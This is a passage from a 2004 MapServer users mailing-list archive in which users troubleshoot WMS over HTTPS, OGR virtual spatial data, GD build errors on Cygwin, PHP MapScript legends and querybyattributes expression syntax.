dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 26 May 2004 12:19:11 -0400 Subject: [Mapserver-users] WMS Queries In-Reply-To: <8235.212.238.227.182.1085558552.squirrel@webmail.xs4all.nl> References: <6282669$108555606840b44564132328.93437145@config6.schlund.de> <8235.212.238.227.182.1085558552.squirrel@webmail.xs4all.nl> Message-ID: <40B4C37F.10606@dmsolutions.ca> bartvde at xs4all.nl wrote: > >>2. Is it possible to use MapServer as a WMS client for a WMS that >>requires HTTPS? > > > Good question. I don't think this will be possible out-of-the-box, but I > could be wrong. I only know of an option to supply a user/password to a > WMS server which is protected by Basic Authentication. See e.g.: > > http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=581 > WMS connections to HTTPS servers should work *if* the CURL library that was used to build MapServer was built with SSL support. This happens by default on Linux, but I can't tell if the Windows builds include SSL... it's quite possible that they don't. -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From jenu_ab at hotmail.com Wed May 26 09:24:48 2004 From: jenu_ab at hotmail.com (Jenu Abraham) Date: Wed, 26 May 2004 11:24:48 -0500 Subject: [Mapserver-users] ODBC enviornmental variables Message-ID: does somebody know how to set the enviornmental variables for ODBC- any links would also do i'm using windows server 2003 - with MS SQL server thaku in advace jenu _________________________________________________________________ Get 200+ ad-free, high-fidelity stations and LIVE Major League Baseball Gameday Audio! http://radio.msn.click-url.com/go/onm00200491ave/direct/01/ From dmorissette at dmsolutions.ca Wed May 26 09:23:32 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 26 May 2004 12:23:32 -0400 Subject: [Mapserver-users] Problems with mapserv4.2b2 on Windows In-Reply-To: <40B47D3F.27282.79C2C2@localhost> References: <40B47D3F.27282.79C2C2@localhost> Message-ID: <40B4C484.8000808@dmsolutions.ca> m.manso at euitto.upm.es wrote: > > Is Possible to have Windows version 4.2b3 soon? > There is a 4.2b3 binary at http://maptools.org/php_mapscript/index.phtml?page=downloads.html There should also be a 4.2.0 release binary there in a few days. -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From dmorissette at dmsolutions.ca Wed May 26 09:36:26 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 26 May 2004 12:36:26 -0400 Subject: [Mapserver-users] virtual spatial data In-Reply-To: References: Message-ID: <40B4C78A.4070501@dmsolutions.ca> Jenu Abraham wrote: > hi, > I'm using windows 2003 server with mapserver-4.1-dev-win32-php4.3.4 > binaries (This is precompiled with GDAL) > i have loaded the gdal12.dll in the winnt/system folder > > and the testing2.ovf file works perfect with ogrinfo > > I have tried to run it in the inline connection mode and the file > connection mode... > when i run mapserver i get this error listed below- I cant figure out > whats wrong- > > the error with the inline connection string- (inside mapfile- commented > out in the source below) > -------------------------------------- > msDrawMap(): Image handling error. Failed to draw layer named 'trucks'. > msOGRFileOpen(): OGR error. Open failed for OGR connection ` > ODBC:sa/@localserver latlong wkbPoint WGS84 '. File not found or > unsupported format. > --------------------------------------- > You should get the latest 4.2 build of MapServer (just replacing the GDAL DLL isn't enough). Your windows binary is quite likely too old to include support for the virtual spatial data driver. -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From selkiesdad at twcny.rr.com Wed May 26 09:54:13 2004 From: selkiesdad at twcny.rr.com (Andrew) Date: Wed, 26 May 2004 12:54:13 -0400 Subject: [Mapserver-users] ogr broken perhaps? Problems with on-the-fly and other projections. Message-ID: <40B4CBB5.50904@twcny.rr.com> I have been trying to get a latlong shapefile produced by the usgs from a UTM dataset (grs80 nad83 zone 18N) to display on a raster layer in NY State Plane East (epsg:32115) projection , map base projection also set to epsg:32115. My failures have led me to reproject my data manually using gdalwarp and ogr2ogr. I have confirmed the projections by using ogrinfo, gdalinfo and by actively plotting the results. The ogr utility (manual and on-the-fly) puts all my latlong points at negative state plane coordinates at a very reduced scale and far off "center" (by several region diameters). I have tried working with the false eastings and northings, but with no luck. Gdal seems to get this info (if it is needed) from the headers; rasters seem to project both on the fly and manually, though I have to assemble more files and templates to test this. I have tried TRANSFORM=TRUE and =ON, no luck (which is it, by the way? both appear on the doc sites and in postings) and evrything else I can think of or have seen posted. There is an old reference to version 3.3(something) being broken in this regard. Any insights? Mapserve CGI mapserver 4.02 compiled from source on LINUX i86 Slackware kv 2.4.20 From selkiesdad at twcny.rr.com Wed May 26 09:55:46 2004 From: selkiesdad at twcny.rr.com (Andrew) Date: Wed, 26 May 2004 12:55:46 -0400 Subject: [Mapserver-users] ODBC enviornmental variables References: Message-ID: <40B4CC12.5090902@twcny.rr.com> On Windows 2000 or XP you go into the System icon in Control panel and modify advanced settings like path, etc. Jenu Abraham wrote: > does somebody know how to set the enviornmental variables for ODBC- > any links would also do > > i'm using windows server 2003 - with MS SQL server > > thaku in advace > > jenu > > _________________________________________________________________ > Get 200+ ad-free, high-fidelity stations and LIVE Major League > Baseball Gameday Audio! > http://radio.msn.click-url.com/go/onm00200491ave/direct/01/ > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From eduardo at consultoria.eti.br Wed May 26 10:23:06 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Wed, 26 May 2004 14:23:06 -0300 Subject: [Mapserver-users] pipermail from dm solutions is down? Message-ID: <20040526172306.14708.qmail@hm47.locaweb.com.br> I follow up the item http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MigrationGuide and found the links: http://lists.dmsolutions.ca/pipermail/mapserver-users/2002-November/042854.html http://lists.dmsolutions.ca/pipermail/mapserver-users/2002-October/042386.html but i'm getting "page not found" error. Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** From spencer at dmsolutions.ca Wed May 26 10:06:32 2004 From: spencer at dmsolutions.ca (Paul Spencer) Date: Wed, 26 May 2004 13:06:32 -0400 Subject: [Mapserver-users] virtual spatial data In-Reply-To: References: Message-ID: <40B4CE98.3040902@magma.ca> nothing seems obviously wrong. A couple of things to try: * SrcLAYER -> SrcLayer ... I'd be suprised it if was case-sensitive, but you never know ;) * ODBC:sa at localserver or ODBC:localserver - my idea here is that the / is possibly an invalid character inside an XML element? And the parsing may not be handled the same way between ogrinfo and mapserver because of the inclusion of xerces in mapserver? Just a wild guess on this one .. Cheers, Paul Jenu Abraham wrote: > hi, > I'm using windows 2003 server with mapserver-4.1-dev-win32-php4.3.4 > binaries (This is precompiled with GDAL) > i have loaded the gdal12.dll in the winnt/system folder > > and the testing2.ovf file works perfect with ogrinfo > > I have tried to run it in the inline connection mode and the file > connection mode... > when i run mapserver i get this error listed below- I cant figure out > whats wrong- > > the error with the inline connection string- (inside mapfile- commented > out in the source below) > -------------------------------------- > msDrawMap(): Image handling error. Failed to draw layer named 'trucks'. > msOGRFileOpen(): OGR error. Open failed for OGR connection ` > ODBC:sa/@localserver latlong wkbPoint WGS84 '. File not found or > unsupported format. > --------------------------------------- > > ------------------------------------------ > > The error with the connection in the testing.ovf file > -------------------------------------- > msDrawMap(): Image handling error. Failed to draw layer named 'trucks'. > msOGRFileOpen(): OGR error. Open failed for OGR connection > `C:\cgi-bin\testing2.ovf'. File not found or unsupported format. > > $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ > testing2.ovf > $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ > > > ODBC:sa/@localserver > latlong > wkbPoint > WGS84 > > > > $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ > > @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ > mapfile > @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ > MAP > NAME e-test-rd-jbox_ > IMAGETYPE GIF > EXTENT -2236857.50 -1744057.00 2786329.50 29069.36 > > SIZE 800 600 > SHAPEPATH "C:\cgi-bin\data\" > > FONTSET "C:\cgi-bin\fonts\fonts.list" > > WEB > TEMPLATE 'e-test-rd-jbox.html' > IMAGEPATH 'C:\cgi-bin\tmp\' > IMAGEURL '/tmp/' > END > > PROJECTION > "init=epsg:2163" > END > > > LAYER # States polygon layer begins here > NAME states > DATA statesp020 > STATUS DEFAULT > TYPE POLYGON > > PROJECTION > "init=epsg:4326" > END > CLASS > COLOR 240 240 100 > END > END # States polygon layer ends here > > LAYER # start of truck position from database > NAME trucks > TYPE POINT > CONNECTIONTYPE OGR > CONNECTION "C:\cgi-bin\testing2.ovf" # file connection > #CONNECTION ' # inline connection > # > # ODBC:sa/@localserver > # latlong > # wkbPoint > # WGS84 > # > # > # ' > DATA "mylayer" > STATUS DEFAULT > #LABELITEM latlong.name > PROJECTION > "init=epsg:4326" > END > CLASS > SYMBOL 1 > SIZE 6 > COLOR 255 0 0 > #LABEL > # SIZE MEDIUM > # TYPE BITMAP > # COLOR 0 0 0 > #END > END > > END # end of connection layer > > # End of LAYER DEFINITIONS > END # end of map file > > @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ > > > Jenu > > _________________________________________________________________ > Watch LIVE baseball games on your computer with MLB.TV, included with > MSN Premium! http://join.msn.click-url.com/go/onm00200439ave/direct/01/ > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ----------------------------------------------------------------- |Paul Spencer pspencer at dmsolutions.ca | |-----------------------------------------------------------------| |Applications & Software Development | |DM Solutions Group Inc http://www.dmsolutions.ca/| ----------------------------------------------------------------- From jenu_ab at hotmail.com Wed May 26 10:39:39 2004 From: jenu_ab at hotmail.com (Jenu Abraham) Date: Wed, 26 May 2004 12:39:39 -0500 Subject: [Mapserver-users] virtual spatial data Message-ID: I have tried what u had said Paul ...it didnt work... I even went ahead and loaded mapserver 4.2b3-win32-pho4.3.4 binaries but it didnt work I have a doubt? ...do i have to use php or mapscript to use these binaries?..as i'm not.. i was thinking is there something i have to set ODBC driver enviornmental variables..if yes how? again i'm using windows 2003 server- & MS SQL server greatly appretiate any help :) jenu -------------------------------------------------------------------------------------------- >From: Paul Spencer >Reply-To: spencer at dmsolutions.ca >To: Jenu Abraham >CC: mapserver-users at lists.gis.umn.edu >Subject: Re: [Mapserver-users] virtual spatial data >Date: Wed, 26 May 2004 13:06:32 -0400 > >nothing seems obviously wrong. A couple of things to try: > >* SrcLAYER -> SrcLayer ... I'd be suprised it if was case-sensitive, but >you never know ;) > >* ODBC:sa at localserver or > ODBC:localserver - my idea here is that >the / is possibly an invalid character inside an XML element? And the >parsing may not be handled the same way between ogrinfo and mapserver >because of the inclusion of xerces in mapserver? Just a wild guess on this >one .. > >Cheers, > >Paul > >Jenu Abraham wrote: >>hi, >>I'm using windows 2003 server with mapserver-4.1-dev-win32-php4.3.4 >>binaries (This is precompiled with GDAL) >>i have loaded the gdal12.dll in the winnt/system folder >> >>and the testing2.ovf file works perfect with ogrinfo >> >>I have tried to run it in the inline connection mode and the file >>connection mode... >>when i run mapserver i get this error listed below- I cant figure out >>whats wrong- >> >>the error with the inline connection string- (inside mapfile- commented >>out in the source below) >>-------------------------------------- >>msDrawMap(): Image handling error. Failed to draw layer named 'trucks'. >>msOGRFileOpen(): OGR error. Open failed for OGR connection ` >>ODBC:sa/@localserver latlong wkbPoint WGS84 '. File not found or >>unsupported format. >>--------------------------------------- >> >>------------------------------------------ >> >>The error with the connection in the testing.ovf file >>-------------------------------------- >>msDrawMap(): Image handling error. Failed to draw layer named 'trucks'. >>msOGRFileOpen(): OGR error. Open failed for OGR connection >>`C:\cgi-bin\testing2.ovf'. File not found or unsupported format. >> >>$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ >>testing2.ovf >>$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ >> >> >>ODBC:sa/@localserver >>latlong >>wkbPoint >>WGS84 >> >> >> >>$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ >> >>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ >>mapfile >>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ >>MAP >> NAME e-test-rd-jbox_ >> IMAGETYPE GIF >> EXTENT -2236857.50 -1744057.00 2786329.50 29069.36 >> >> SIZE 800 600 >> SHAPEPATH "C:\cgi-bin\data\" >> >> FONTSET "C:\cgi-bin\fonts\fonts.list" >> >> WEB >> TEMPLATE 'e-test-rd-jbox.html' >> IMAGEPATH 'C:\cgi-bin\tmp\' >> IMAGEURL '/tmp/' >> END >> >> PROJECTION >> "init=epsg:2163" >> END >> >> >> LAYER # States polygon layer begins here >> NAME states >> DATA statesp020 >> STATUS DEFAULT >> TYPE POLYGON >> >> PROJECTION >> "init=epsg:4326" >> END >> CLASS >> COLOR 240 240 100 >> END >> END # States polygon layer ends here >> >>LAYER # start of truck position from database >> NAME trucks >> TYPE POINT >> CONNECTIONTYPE OGR >> CONNECTION "C:\cgi-bin\testing2.ovf" # file connection >> #CONNECTION ' # inline connection >> # >> # ODBC:sa/@localserver >> # latlong >> # wkbPoint >> # WGS84 >> # >> # >> # ' >> DATA "mylayer" >> STATUS DEFAULT >> #LABELITEM latlong.name >> PROJECTION >> "init=epsg:4326" >> END >> CLASS >> SYMBOL 1 >> SIZE 6 >> COLOR 255 0 0 >> #LABEL >> # SIZE MEDIUM >> # TYPE BITMAP >> # COLOR 0 0 0 >> #END >> END >> >>END # end of connection layer >> >> # End of LAYER DEFINITIONS >>END # end of map file >> >>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ >> >> >>Jenu >> >>_________________________________________________________________ >>Watch LIVE baseball games on your computer with MLB.TV, included with MSN >>Premium! http://join.msn.click-url.com/go/onm00200439ave/direct/01/ >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > >-- > ----------------------------------------------------------------- >|Paul Spencer pspencer at dmsolutions.ca | >|-----------------------------------------------------------------| >|Applications & Software Development | >|DM Solutions Group Inc http://www.dmsolutions.ca/| > ----------------------------------------------------------------- > _________________________________________________________________ Stop worrying about overloading your inbox - get MSN Hotmail Extra Storage! http://join.msn.click-url.com/go/onm00200362ave/direct/01/ From deathsushi at hotmail.com Wed May 26 10:46:47 2004 From: deathsushi at hotmail.com (Adam Quiney) Date: Wed, 26 May 2004 17:46:47 +0000 Subject: [Mapserver-users] Configure: Same old error - can't find gd.h or libgd.a/libgd.so Message-ID: Hi All, I've looked through the archives and the FAQ and tried the solutions presented, but to no avail. I am trying to install Mapserver 4.0.2 on Cygwin (running under Windows 2000). Please let me know if there is anything else I should be trying to do - I'm running out of hair to tear out of my head. Here is the output from configure.sh when run: ... Everything running fine above here ... checking for strcasecmp... yes checking for strncasecmp... yes checking for strdup... yes configure: checking whether we should include JPEG support...... checking for jpeg_read_header in -ljpeg... no libjpeg not found. JPEG support not included, possibly needed for GD. configure: checking where FreeType 2.x is installed...... using libfreetype from -lfreetype -lz checking for FT_Init_FreeType in -lfreetype... no using libfreetype -lfreetype -lz from system libs. configure: checking where Zlib is installed...... using libz from -L/lib -lz configure: checking where PNG is installed...... checking for png_init_io in -lpng... no PNG (libpng) library cannot be found, possibly needed for GD configure: checking where libXpm is installed...... checking for XpmFreeXpmImage in -lXpm... no XPM (libXpm) library cannot be found, possibly needed for GD configure: checking where libiconv is installed...... checking for libiconv_open in -liconv... no libiconv library cannot be found, possibly needed for GD configure: checking for GD 2.0.12 or higher...... checking for gdImageSetAntiAliased in -lgd... no configure: error: "Could not find gd.h or libgd.a/libgd.so in /usr/local/. Make sure GD 2.0.12 or higher is compiled before calling configure." I have tried running "./configure --with-gd=/usr/local", as well as with /usr/local/lib (the location of the libgd.a file) and /usr/local/include (the location of the gd.h file). I have looked through for duplicates of these files, but cannot find any others residing on the disk. --Adam _________________________________________________________________ STOP MORE SPAM with the new MSN 8 and get 2 months FREE* http://join.msn.com/?page=features/junkmail From aaronkoning at shaw.ca Wed May 26 10:53:57 2004 From: aaronkoning at shaw.ca (AARON KONING) Date: Wed, 26 May 2004 10:53:57 -0700 Subject: [Mapserver-users] querybyattributes logical expression Message-ID: Hi, I have also used different operators in class expressions. I tried your suggestion but it did not work. Strangely the single quotes are needed regardless of the data type of the field. So that the following query does work: $queryString = "('[AREA]' = '10')" $queryItem = 'AREA'; > > $map->querybyattributes($queryitem,$queryString,MS_MULTIPLE); ----- Original Message ----- From: Eric Bridger Date: Wednesday, May 26, 2004 4:03 am Subject: Re: [Mapserver-users] querybyattributes logical expression > At 11:11 PM 05/25/2004 -0700, AARON KONING wrote: > >Hi List, > > > >Just wondering if anyone has had success using > >querybyattributes with the '>', '<', '>=', '<=' operators? I have > been using the 'NOT', 'AND', 'OR', > >and '=' operators with success. > > > >The following statement fails: > > > > $queryString = "('[AREA]' > '10')" > > $queryItem = 'AREA'; > > $map->querybyattributes($queryitem,$queryString,MS_MULTIPLE); > > I haven't used querybyattributes() but have use comparison > operators in CLASS EXPRESSION's. > I would try: > "([AREA] > 10)" i.e. these are number values not strings. > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From Chip.Hankley at rmtinc.com Wed May 26 11:11:29 2004 From: Chip.Hankley at rmtinc.com (Chip Hankley) Date: Wed, 26 May 2004 13:11:29 -0500 Subject: [Mapserver-users] virtual spatial data Message-ID: This is an interesting problem... I'm getting the same error with my setup: msDrawMap(): Image handling error. Failed to draw layer named 'MyVirtualLayer'. msOGRFileOpen(): OGR error. Open failed for OGR connection `D:/inetpub/wwwroot/MapServer/PointTest/data/virtual.ovf'. File not found or unsupported format. I downloaded the latest(?) beta from the MS site: MS 4.2b, and it is still giving me the same error. I too have done all of the appropriate checks with ogrinfo. Outgoing messages, along with any attachments, are scanned for viruses at RMT prior to sending. ------------------------------------------------------------------------------ NOTICE--This email may contain confidential and privileged information for the sole use of the intended recipient. Any review or distribution by others is strictly prohibited. If you are not the intended recipient, please contact the sender immediately and delete all copies. From ARyan at co.linn.or.us Wed May 26 11:24:18 2004 From: ARyan at co.linn.or.us (Ryan, Adam) Date: Wed, 26 May 2004 11:24:18 -0700 Subject: [Mapserver-users] querybyattributes logical expression Message-ID: <614FCE5F14A6D41180C200010240D6A266988D@LINNMS> Using "([AREA] > 4000000)" works for me. Silly question: Are you sure your Area field is numeric? Adam -----Original Message----- From: AARON KONING [mailto:aaronkoning at shaw.ca] Sent: Wednesday, May 26, 2004 10:54 AM To: Mapserver-users at lists.gis.umn.edu Cc: Eric Bridger Subject: Re: [Mapserver-users] querybyattributes logical expression Hi, I have also used different operators in class expressions. I tried your suggestion but it did not work. Strangely the single quotes are needed regardless of the data type of the field. So that the following query does work: $queryString = "('[AREA]' = '10')" $queryItem = 'AREA'; > > $map->querybyattributes($queryitem,$queryString,MS_MULTIPLE); ----- Original Message ----- From: Eric Bridger Date: Wednesday, May 26, 2004 4:03 am Subject: Re: [Mapserver-users] querybyattributes logical expression > At 11:11 PM 05/25/2004 -0700, AARON KONING wrote: > >Hi List, > > > >Just wondering if anyone has had success using querybyattributes with > >the '>', '<', '>=', '<=' operators? I have > been using the 'NOT', 'AND', 'OR', > >and '=' operators with success. > > > >The following statement fails: > > > > $queryString = "('[AREA]' > '10')" > > $queryItem = 'AREA'; > > $map->querybyattributes($queryitem,$queryString,MS_MULTIPLE); > > I haven't used querybyattributes() but have use comparison > operators in CLASS EXPRESSION's. > I would try: > "([AREA] > 10)" i.e. these are number values not strings. > > _______________________________________________ > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From TMitchell at lignum.com Wed May 26 11:33:03 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Wed, 26 May 2004 11:33:03 -0700 Subject: [Mapserver-users] Configure: Same old error - can't find gd.h or libgd.a/libgd.so In-Reply-To: Message-ID: You will need gd and gd-devel packages - got those already? In case you are not aware, you do not need to use cygwin to run mapserver on windows. Unless you have a particular reason for doing so, I would suggest that it is a waste of time when windows binaries are readily available for download and almost immediate use. Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 05/26/2004 10:46:47 AM: > Hi All, > > I've looked through the archives and the FAQ and tried the solutions > presented, but to no avail. > > I am trying to install Mapserver 4.0.2 on Cygwin (running under Windows > 2000). > > Please let me know if there is anything else I should be trying to do - I'm > running out of hair to tear out of my head. > > Here is the output from configure.sh when run: > > ... Everything running fine above here ... > > checking for strcasecmp... yes > checking for strncasecmp... yes > checking for strdup... yes > configure: checking whether we should include JPEG support...... > checking for jpeg_read_header in -ljpeg... no > libjpeg not found. JPEG support not included, possibly needed for > GD. > configure: checking where FreeType 2.x is installed...... > using libfreetype from -lfreetype -lz > checking for FT_Init_FreeType in -lfreetype... no > using libfreetype -lfreetype -lz from system libs. > configure: checking where Zlib is installed...... > using libz from -L/lib -lz > configure: checking where PNG is installed...... > checking for png_init_io in -lpng... no > PNG (libpng) library cannot be found, possibly needed for GD > configure: checking where libXpm is installed...... > checking for XpmFreeXpmImage in -lXpm... no > XPM (libXpm) library cannot be found, possibly needed for GD > configure: checking where libiconv is installed...... > checking for libiconv_open in -liconv... no > libiconv library cannot be found, possibly needed for GD > configure: checking for GD 2.0.12 or higher...... > checking for gdImageSetAntiAliased in -lgd... no > configure: error: "Could not find gd.h or libgd.a/libgd.so in /usr/local/. > Make > sure GD 2.0.12 or higher is compiled before calling configure." > > I have tried running "./configure --with-gd=/usr/local", as well as with > /usr/local/lib (the location of the libgd.a file) and /usr/local/include > (the location of the gd.h file). > > I have looked through for duplicates of these files, but cannot find any > others residing on the disk. > > --Adam > > _________________________________________________________________ > STOP MORE SPAM with the new MSN 8 and get 2 months FREE* > http://join.msn.com/?page=features/junkmail > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From hal at mobilegeographics.com Wed May 26 11:36:07 2004 From: hal at mobilegeographics.com (Hal Mueller) Date: Wed, 26 May 2004 11:36:07 -0700 Subject: [Mapserver-users] Create a legend using PHPMapscript In-Reply-To: <000701c44324$c67e0dd0$aa696e94@EPCCARTOGIS> References: <000701c44324$c67e0dd0$aa696e94@EPCCARTOGIS> Message-ID: At 15:24 +0200 5/26/04, Frank Broniewski wrote: > > $legend = $map->legend(); > $legend_url = $legend->saveWebImage(); I believe that if you check the value of $legend after that first line above, it will be 0 (echo $legend;). (my PHP map scripts have "echo" statements running through them like chicken pox, so that I can check intermediate results). And the saveWebImage function is not defined for legends. Try instead: $legendImage = $map->drawLegend(); $legend_url = $legendImage->saveWebImage(); I'm also assuming that you have a legend defined in your MAP file, and that you have class names defined in the MAP file. You should probably post the MAP file and let us have a look at that. The other thing that I don't see (maybe it's in code farther down) is some display of that URL. Something like echo ""; You also have the option of embedding the legend in the main map's web image. http://www.mobilegeographics.com/mapserver/usa2.phtml demonstrates that approach. I would recommend starting out that way just to get the thing working, and then later you can put it into a separate image. Hal From aaronkoning at shaw.ca Wed May 26 11:45:54 2004 From: aaronkoning at shaw.ca (AARON KONING) Date: Wed, 26 May 2004 11:45:54 -0700 Subject: [Mapserver-users] querybyattributes logical expression Message-ID: I figured this out. The query string is different for different conditions: For Shapefiles: For '>' '<' '>=' '<=' : ([AREA] > 4000000) For '=' : ('[NAME]' > 'prince george') For PostGIS: For numeric fields: (AREA > 4000000) For non-numeric fields: (NAME = 'prince george') Thanks for the help all, Aaron ----- Original Message ----- From: "Ryan, Adam" Date: Wednesday, May 26, 2004 11:24 am Subject: RE: [Mapserver-users] querybyattributes logical expression > > Using "([AREA] > 4000000)" works for me. Silly question: Are you > sure your > Area field is numeric? > > Adam > > -----Original Message----- > From: AARON KONING [aaronkoning at shaw.ca] > Sent: Wednesday, May 26, 2004 10:54 AM > To: Mapserver-users at lists.gis.umn.edu > Cc: Eric Bridger > Subject: Re: [Mapserver-users] querybyattributes logical expression > > > Hi, > > I have also used different operators in class expressions. I tried > yoursuggestion but it did not work. Strangely the single quotes > are needed > regardless of the data type of the field. So that the following > query does > work: > > $queryString = "('[AREA]' = '10')" > $queryItem = 'AREA'; > > > $map->querybyattributes($queryitem,$queryString,MS_MULTIPLE); > > > > ----- Original Message ----- > From: Eric Bridger > Date: Wednesday, May 26, 2004 4:03 am > Subject: Re: [Mapserver-users] querybyattributes logical expression > > > At 11:11 PM 05/25/2004 -0700, AARON KONING wrote: > > >Hi List, > > > > > >Just wondering if anyone has had success using > querybyattributes with > > >the '>', '<', '>=', '<=' operators? I have > > been using the 'NOT', 'AND', 'OR', > > >and '=' operators with success. > > > > > >The following statement fails: > > > > > > $queryString = "('[AREA]' > '10')" > > > $queryItem = 'AREA'; > > > $map->querybyattributes($queryitem,$queryString,MS_MULTIPLE); > > > > I haven't used querybyattributes() but have use comparison > > operators in CLASS EXPRESSION's. > > I would try: > > "([AREA] > 10)" i.e. these are number values not strings. > > > > _______________________________________________ > > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From TMitchell at lignum.com Wed May 26 11:54:35 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Wed, 26 May 2004 11:54:35 -0700 Subject: [Mapserver-users] querybyattributes logical expression In-Reply-To: Message-ID: Thanks for posting the clarification Aaron. I ran into this difference just last week and am looking forward to going back and fixing my problem now. Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 05/26/2004 11:45:54 AM: > > I figured this out. The query string is different for different conditions: > > For Shapefiles: > For '>' '<' '>=' '<=' : > ([AREA] > 4000000) > For '=' : > ('[NAME]' > 'prince george') > > For PostGIS: > For numeric fields: > (AREA > 4000000) > For non-numeric fields: > (NAME = 'prince george') > > Thanks for the help all, > Aaron > > > > > ----- Original Message ----- > From: "Ryan, Adam" > Date: Wednesday, May 26, 2004 11:24 am > Subject: RE: [Mapserver-users] querybyattributes logical expression > > > > > Using "([AREA] > 4000000)" works for me. Silly question: Are you > > sure your > > Area field is numeric? > > > > Adam > > > > -----Original Message----- > > From: AARON KONING [aaronkoning at shaw.ca] > > Sent: Wednesday, May 26, 2004 10:54 AM > > To: Mapserver-users at lists.gis.umn.edu > > Cc: Eric Bridger > > Subject: Re: [Mapserver-users] querybyattributes logical expression > > > > > > Hi, > > > > I have also used different operators in class expressions. I tried > > yoursuggestion but it did not work. Strangely the single quotes > > are needed > > regardless of the data type of the field. So that the following > > query does > > work: > > > > $queryString = "('[AREA]' = '10')" > > $queryItem = 'AREA'; > > > > $map->querybyattributes($queryitem,$queryString,MS_MULTIPLE); > > > > > > > > ----- Original Message ----- > > From: Eric Bridger > > Date: Wednesday, May 26, 2004 4:03 am > > Subject: Re: [Mapserver-users] querybyattributes logical expression > > > > > At 11:11 PM 05/25/2004 -0700, AARON KONING wrote: > > > >Hi List, > > > > > > > >Just wondering if anyone has had success using > > querybyattributes with > > > >the '>', '<', '>=', '<=' operators? I have > > > been using the 'NOT', 'AND', 'OR', > > > >and '=' operators with success. > > > > > > > >The following statement fails: > > > > > > > > $queryString = "('[AREA]' > '10')" > > > > $queryItem = 'AREA'; > > > > $map->querybyattributes($queryitem,$queryString,MS_MULTIPLE); > > > > > > I haven't used querybyattributes() but have use comparison > > > operators in CLASS EXPRESSION's. > > > I would try: > > > "([AREA] > 10)" i.e. these are number values not strings. > > > > > > _______________________________________________ > > > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From nhv at cape.com Wed May 26 12:21:48 2004 From: nhv at cape.com (Norman Vine) Date: Wed, 26 May 2004 15:21:48 -0400 Subject: [Mapserver-users] Configure: Same old error - can't find gd.h or libgd.a/libgd.so In-Reply-To: Message-ID: Adam Quiney writes: > Hi All, > > I've looked through the archives and the FAQ and tried the solutions > presented, but to no avail. > > I am trying to install Mapserver 4.0.2 on Cygwin (running under Windows > 2000). > > Please let me know if there is anything else I should be trying to do - I'm > running out of hair to tear out of my head. > > Here is the output from configure.sh when run: > > ... Everything running fine above here ... > > checking for strcasecmp... yes > checking for strncasecmp... yes > checking for strdup... yes > configure: checking whether we should include JPEG support...... > checking for jpeg_read_header in -ljpeg... no > libjpeg not found. JPEG support not included, possibly needed for > GD. > configure: checking where FreeType 2.x is installed...... > using libfreetype from -lfreetype -lz > checking for FT_Init_FreeType in -lfreetype... no > using libfreetype -lfreetype -lz from system libs. > configure: checking where Zlib is installed...... > using libz 